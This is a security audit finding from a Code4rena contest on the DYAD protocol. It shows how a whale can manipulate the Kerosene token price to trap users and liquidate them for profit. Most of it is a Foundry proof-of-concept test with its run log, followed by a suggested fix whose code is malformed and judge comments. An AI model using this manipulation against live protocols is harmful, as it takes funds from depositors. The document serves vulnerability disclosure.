code-423n4 / 2024-04-dyad-findings

8 stars 6 forks source link

Kerosen price can be manipulated and leveraged to create honeypot for liquidations #895

Closed c4-bot-2 closed 7 months ago

c4-bot-2 commented 7 months ago

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/Vault.kerosine.unbounded.sol#L50-L69 https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L205-L228 https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L119-L131 https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L156-L169

Vulnerability details

One of the new features deployed in the migration is Kerosene, this is an erc20 token that represents a way of tokenizing DYAD surplus collateral, it can be deposited in Notes and used to increase Note mint capability.

Kerosene asset price is calculated based on the difference between the TVL in DYAD vaults ( weth, wsteth vaults) and the total minted DYAD supply (numerator) divided by the circulating supply (denominator) (the division is necessary to calculate the price per token).

The asset price is calculated live, on each request ( function call) based on the real-time values it have and that makes the asset price formula vulnerable to supply shocks when the usability is in low to medium range of values ( as it is right now on mainnet ).

Impact

The price formula vulnerability can be leveraged by an whale to create a honeypot setup that will allow to gain an unfair advantage on liquidating users by manipulating the Kerosen price

Proof of Concept

We provided the following test scenario simulating mainnet values

The test can be run using the command:

forge test -vvv --match-test "test_finding_whale_trap_manipulate_price_real_mainnet_values"
  1. Migration & linear kerosen distribution is taking place.
  2. Some random users that received Kerosen deposit it and mint DYAD
  3. Whale deposit funds and stay silent to increase kerosen price ( difference between TVL and minted DYAD increased )
  4. As price increased users mint more DYAD
  5. Whale activate honeypot by minting DYAD and the price of kerosen will decrease ( difference between TVL and DYAD decrease drastically )
  6. Whale will liquidate and take profits ( step 5-6 happen in the same tx)

pragma solidity =0.8.17;

import "forge-std/console.sol";
import {Vault}         from "../../src/core/Vault.sol";
import {VaultManagerTestHelper} from "./VaultManagerHelper.t.sol";
import {IVaultManager} from "../src/interfaces/IVaultManager.sol";
import {IAggregatorV3} from "../../src/interfaces/IAggregatorV3.sol";
import { VaultManagerV2 } from "../src/core/VaultManagerV2.sol";
import { FakeVault } from "./FakeVault.sol";
import { KerosineManager } from "../src/core/KerosineManager.sol";
import { UnboundedKerosineVault } from "../src/core/Vault.kerosine.unbounded.sol";
import { Kerosine } from "../../src/staking/Kerosine.sol";
import { KerosineDenominator } from "../../src/staking/KerosineDenominator.sol";

contract WhaleHoneypotSupplyShock is VaultManagerTestHelper {

    VaultManagerV2 public vaultManagerV2;
    Kerosine public kerosine;
    KerosineDenominator public kersoineDenom;
    KerosineManager public kerosineManager;
    UnboundedKerosineVault public unbondedKerosineVault;

    function test_finding_whale_trap_manipulate_price_real_mainnet_values() public {
        //
        /// !!! Attention for testing purpouse 1 eth = 1 000$ ( 1k )
        /// !!! mainnet values right now:
        ///      1. dyad holders ==> 118
        ///      2. TVL => 1.91$ M
        ///      3. dyad.totalSupply (minted) => 632967400000000000000000 / 1e18 = 632967.4$ ( ~632$k)
        ///      4. 1 billion Kerosene distributed over 10 years ==> ~100 millions first year (rounded up/down for easier simulation)
        //       5. ~kerosene price at launch 127805 / 1e8 ==> 0.00127805 per token
        ///      6. ~100 milions tokens * 0.00127805$ per token ==> value worth of 127805$
        ///      7. Kerosene tokens are distributed to users that provide liquidity for DYAD and staking LP tokens based on that we can assume that a healthy % of users who will receive kerosene initally will be around 30% (could be more/less), that's eq of ~35 users 
        ///      8. ( Just for testing ) 127805$ / ~35 users = 3651$ per user ( in avg )
        /// !!! On avg each holder have ~5k minted dyad and and locked ~16k
        //
        //Migrate to VaultManagerV2 and deploy kerosine
        vaultManagerV2 = new VaultManagerV2(dNft, dyad, vaultLicenser);
        kerosine = new Kerosine();
        kersoineDenom = new KerosineDenominator(kerosine);
        kerosineManager = new KerosineManager();
        unbondedKerosineVault = new UnboundedKerosineVault(
                                vaultManagerV2, kerosine, dyad, kerosineManager
                            );
        unbondedKerosineVault.setDenominator(kersoineDenom);
        vaultManagerV2.setKeroseneManager(kerosineManager);

        //deploy wethVault for VaultManagerV2;
        Vault vault                   = new Vault(
            vaultManagerV2,
            weth,
            IAggregatorV3(address(wethOracle))
        );
        //add wethvault into keronineManager for kersoene price calculations ( as it's depended of tvl)
        kerosineManager.add(address(vault));
        //license vaults
        {
            vm.startPrank(msg.sender);
            vaultManagerLicenser.add(address(vaultManagerV2));
            vaultLicenser.add(address(vault));
            vaultLicenser.add(address(unbondedKerosineVault));
            vm.stopPrank();
        }

        (address[] memory randomUsersForKeroseenDistriubtion, uint256[] memory randomUsersNftIds) = add_tvl_to_simulate_mainnet_tvl_and_kerosene_price(vault);

        //kerosen price at vault migration & deployment
        uint kerosenePrice = unbondedKerosineVault.assetPrice();
        console.log("Kerosene Value: ", kerosenePrice);
        assertEq(kerosenePrice, 127805);

        //distribute kerosene to users, ! We are that the whole allocation for the year will not be allocated in one go, however that fact does not change the issue and it's for testing pupouses only
        (uint256 kerosenePerUser, address[] memory fiveRandomUsers, uint256[] memory fiveRandomUsersNftIds) = disribute_kerosen_to_the_lps_and_take_five_random_users(randomUsersForKeroseenDistriubtion, randomUsersNftIds);

        kerosenePrice = unbondedKerosineVault.assetPrice();
        console.log("Kerosene Value after kerosene distribution: ", kerosenePrice);
        assertEq(kerosenePrice, 127805);

        //Take the 5 random users that got kerosene, add it to the collateral and mint more DYAD;
        {
            for(uint i=0; i < fiveRandomUsers.length; i++){
                vm.startPrank(fiveRandomUsers[i]);
                    vaultManagerV2.add(fiveRandomUsersNftIds[i], address(unbondedKerosineVault));
                    kerosine.approve(address(vaultManagerV2), type(uint256).max);
                    vaultManagerV2.deposit(fiveRandomUsersNftIds[i], address(unbondedKerosineVault), kerosenePerUser);
                    // Users collateral ration is now ~370%
                    uint cr = vaultManagerV2.collatRatio(fiveRandomUsersNftIds[i]);
                    console.log("Cr after putting kerosene", cr / 1e16); 
                    // Seeing that their cr increase they will mint more dyad next block

                    // Cr is now %160 after more minting, users are bullish on kerosene & dyad stability 
                    vaultManagerV2.mintDyad(fiveRandomUsersNftIds[i], 6900e18, fiveRandomUsers[i]);
                    cr = vaultManagerV2.collatRatio(fiveRandomUsersNftIds[i]);
                    console.log("Cr after putting kerosene & minting more dyad", cr / 1e16); 
                vm.stopPrank();

            }
            kerosenePrice = unbondedKerosineVault.assetPrice();
            console.log("Kerosene Value after kerosene distribution & 5 users deposits: ", kerosenePrice);
        }

        uint whaleNftId = mintDNft();

        uint whaleAmount = 4000e18;

        //Whale deposit funds and stay silent and wait for users to fail into honeypot
        {
            // we simulate whale have 4 millons to spend on honeypot, 1 eth = 1k$
            weth.mint(address(this), whaleAmount);
            deal(address(this), 2 ether);
            weth.approve(address(vaultManagerV2), type(uint256).max);
            vaultManagerV2.deposit(whaleNftId, address(vault), whaleAmount);

            // Price have increase more then 4x;
            uint keroseneOldPrice = kerosenePrice;
            kerosenePrice = unbondedKerosineVault.assetPrice();
            console.log("Kerosene Value after whale deposit: ", kerosenePrice); // old 0,0012.. now 0,005...
            assertGt(kerosenePrice, keroseneOldPrice);
        }

        //Now the users check their cr, see the price of kerosene have drastically increase and mint more
        {
            for(uint i=0; i < fiveRandomUsers.length; i++){
                vm.startPrank(fiveRandomUsers[i]);
                    //User collateral is  ..% after price increase by whale
                    uint cr = vaultManagerV2.collatRatio(fiveRandomUsersNftIds[i]);
                    console.log("Cr after kerosene price increase by whale", cr / 1e16);                     
                    vaultManagerV2.mintDyad(fiveRandomUsersNftIds[i], 7000e18, fiveRandomUsers[i]);

                    // Cr after minting more dyad is again ~160%, they trying to keep it close
                    cr = vaultManagerV2.collatRatio(fiveRandomUsersNftIds[i]);
                    console.log("Cr after kerosene price increase by whale & minting more dyad", cr / 1e16);     
                vm.stopPrank();
            }
        }
        //skip 1 block 
        uint256 currentBlock = block.number;
        vm.roll(currentBlock + 1);

        //Now the whale activate the honeypot and decrease the price by minting a lot of dyad ( all of this can happen in one tx)
        {    
            vaultManagerV2.add(whaleNftId, address(vault));
            uint whaleTotalValueBeforeLiqudations = vaultManagerV2.getTotalUsdValue(whaleNftId);
            console.log("Whale value before liqudations: ", whaleTotalValueBeforeLiqudations);
            //deposited 4m$, mint 850k dyad to have an aprox~470%;
            console.log("Whale is minting dyad");
            vaultManagerV2.mintDyad(whaleNftId, 850000e18, address(this));
            // Wahle cr is now 470% ( preety healthy %)
            uint cr = vaultManagerV2.collatRatio(whaleNftId);
            console.log("Whale Cr after minting of dyad is ", cr / 1e16);                     

            // Price have decrease now;
            uint keroseneOldPrice = kerosenePrice;
            kerosenePrice = unbondedKerosineVault.assetPrice();
            console.log("Kerosene Value after whale deposit: ", kerosenePrice); // old 0,005.. now 0,004...
            assertLt(kerosenePrice, keroseneOldPrice);

            //Check cr of the five random users that felt into the honeypot
            for(uint i=0; i < fiveRandomUsers.length; i++){
                //Users collateral is  now ~148% after honeypot activation, time to liquidate
                uint cr = vaultManagerV2.collatRatio(fiveRandomUsersNftIds[i]);
                console.log("Cr after whale activated honeypot", cr / 1e16);                     
            }

            //whale liquidations starts
            for(uint i=0; i < fiveRandomUsers.length; i++){
                vaultManagerV2.liquidate(fiveRandomUsersNftIds[i], whaleNftId);
            }
            // whale value after liquidation
            // Whale have made a nice ~59-60k profit
            uint whaleTotalValueAfterLiqudations = vaultManagerV2.getTotalUsdValue(whaleNftId);
            console.log("Whale value after liqudations: ", whaleTotalValueAfterLiqudations );
            assertGt(whaleTotalValueAfterLiqudations, whaleTotalValueBeforeLiqudations );

            //Check users value after liquidation
            for(uint i=0; i < fiveRandomUsers.length; i++){
                //Users collateral is  now ~148% after honeypot activation, time to liquidate
                uint userValue = vaultManagerV2.getTotalUsdValue(fiveRandomUsersNftIds[i]);
                console.log("Users value after liq", userValue);                     
            }  
        }
    }

    function add_tvl_to_simulate_mainnet_tvl_and_kerosene_price(Vault vault) public returns(address[] memory, uint256[] memory){
        address[] memory randomUsersForKeroseenDistriubtion = new address[](35); 
        uint256[] memory randomUsersNftIds = new uint256[](35);
        for(uint i=0; i<118; i++) {
            string memory mnemonic = "test test test test test test test test test test test junk";
            uint256 privateKey = vm.deriveKey(mnemonic, 0);
            address someUser = vm.addr(privateKey);
            deal(someUser, 2 ether);
            {
                vm.startPrank(someUser);
                    uint weth_amount = 16.186e18;
                    weth.mint(someUser, weth_amount);
                    weth.approve(address(vaultManagerV2), type(uint256).max);
                    uint nftId = dNft.mintNft{value: 1 ether}(someUser);
                    vaultManagerV2.add(nftId, address(vault));
                    vaultManagerV2.deposit(nftId, address(vault), weth_amount);
                    vaultManagerV2.mintDyad(nftId, 5355e18, someUser);
                vm.stopPrank();
                if(i<35) {
                    randomUsersForKeroseenDistriubtion[i] = someUser;
                    randomUsersNftIds[i] = nftId;
                }
            }
        }
        return (randomUsersForKeroseenDistriubtion, randomUsersNftIds);
    }

    function disribute_kerosen_to_the_lps_and_take_five_random_users(address[] memory randomUsers, uint256[] memory randomUsersNftIds) public returns(uint256, address[] memory, uint256[] memory){
        address[] memory fiveRandomUsers = new address[](5); 
        uint256[] memory fiveRandomUsersNftIds = new uint256[](5);
        uint256 kerosenePerUser = 2857142e18;
        for(uint i=0; i<randomUsers.length; i++){
            // 1_00_000_000  tokens / 35 users ( could be more or less of course ) ==> 2 857 142 tokens per user
            kerosine.transfer(randomUsers[i], kerosenePerUser); 
            if ( i<5) {
                fiveRandomUsers[i] = randomUsers[i];
                fiveRandomUsersNftIds[i] = randomUsersNftIds[i];
            }
        }
        return (kerosenePerUser, fiveRandomUsers, fiveRandomUsersNftIds);
    }

}

Test output:


Ran 1 test for test/WhaleHoneypotSupplyShock.sol:WhaleHoneypotSupplyShock
[PASS] test_finding_whale_trap_manipulate_price_real_mainnet_values() (gas: 46230553)
Logs:
  Kerosene Value:  127805
  Kerosene Value after kerosene distribution:  127805
  Cr after putting kerosene 370
  Cr after putting kerosene & minting more dyad 161
  Cr after putting kerosene 370
  Cr after putting kerosene & minting more dyad 161
  Cr after putting kerosene 369
  Cr after putting kerosene & minting more dyad 161
  Cr after putting kerosene 369
  Cr after putting kerosene & minting more dyad 161
  Cr after putting kerosene 368
  Cr after putting kerosene & minting more dyad 161
  Kerosene Value after kerosene distribution & 5 users deposits:  124355
  Kerosene Value after whale deposit:  524355
  Cr after kerosene price increase by whale 254
  Cr after kerosene price increase by whale & minting more dyad 161
  Cr after kerosene price increase by whale 254
  Cr after kerosene price increase by whale & minting more dyad 161
  Cr after kerosene price increase by whale 253
  Cr after kerosene price increase by whale & minting more dyad 161
  Cr after kerosene price increase by whale 253
  Cr after kerosene price increase by whale & minting more dyad 161
  Cr after kerosene price increase by whale 253
  Cr after kerosene price increase by whale & minting more dyad 161
  Whale value before liqudations:  4000000000000000000000000
  Whale is minting dyad
  Whale Cr after minting of dyad is  470
  Kerosene Value after whale deposit:  435855
  Cr after whale activated honeypot 148
  Cr after whale activated honeypot 148
  Cr after whale activated honeypot 148
  Cr after whale activated honeypot 148
  Cr after whale activated honeypot 148
  Whale value after liqudations:  4059549370097842000470000
  Users value after liq 7579305754671382288912
  Users value after liq 7609130844643092639701
  Users value after liq 7638826361507108693960
  Users value after liq 7668423811849125399928
  Users value after liq 7697893109701067659602

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 193.43ms (191.82ms CPU time)

We can observe at the end that the whale have made a nice ~60k profit, the profit can vary based on the number of liquidations that the whale will perform.

The time period between whale honeypot setup and honeypot activation can vary from a few blocks to a few days or weeks, depending on the whale target profits and how many liquidations wants to execute. The honeypot can be achieved as long as there is no huge drastic syncronize increased between dyad minted supply and tvl, if the honeypot can never be activated in a profitability state whale can simply withdraw funds without risking anything ( whale can of course pre-calculate the asset price to see how many users it will catch at current block )

Tools Used

Manual Review

Recommended Mitigation Steps

Limit the amount of depositing and minting that can happen in a tx, in a block or in a day to create a more stepped curved asset price and allow the users to react if their collateral ratio is falling, for example:

function mintDyad(
    uint    id,
    uint    amount,
    address to
  )
    external 
      isDNftOwner(id)
  {
    uint newDyadMinted = dyad.mintedDyad(address(this), id) + amount;
    if (getNonKeroseneValue(id) < newDyadMinted)     revert NotEnoughExoCollat();
+    if ( newDyadMinted > ( dyad.totalSupply() + (( dyad.totalSupply() / 10000) * 500)) )+    return SupplyIncresedWithMoreThenFivePercent() // revert the call if the new minted day is increasing the total supply with more then 5% in a tx
    dyad.mint(id, to, amount);
    if (collatRatio(id) < MIN_COLLATERIZATION_RATIO) revert CrTooLow(); 
    emit MintDyad(id, amount, to);
  }

Assessed type

MEV

c4-pre-sort commented 7 months ago

JustDravee marked the issue as duplicate of #67

c4-pre-sort commented 7 months ago

JustDravee marked the issue as sufficient quality report

c4-judge commented 6 months ago

koolexcrypto changed the severity to 2 (Med Risk)

c4-judge commented 6 months ago

koolexcrypto marked the issue as unsatisfactory: Invalid

c4-judge commented 6 months ago

koolexcrypto marked the issue as satisfactory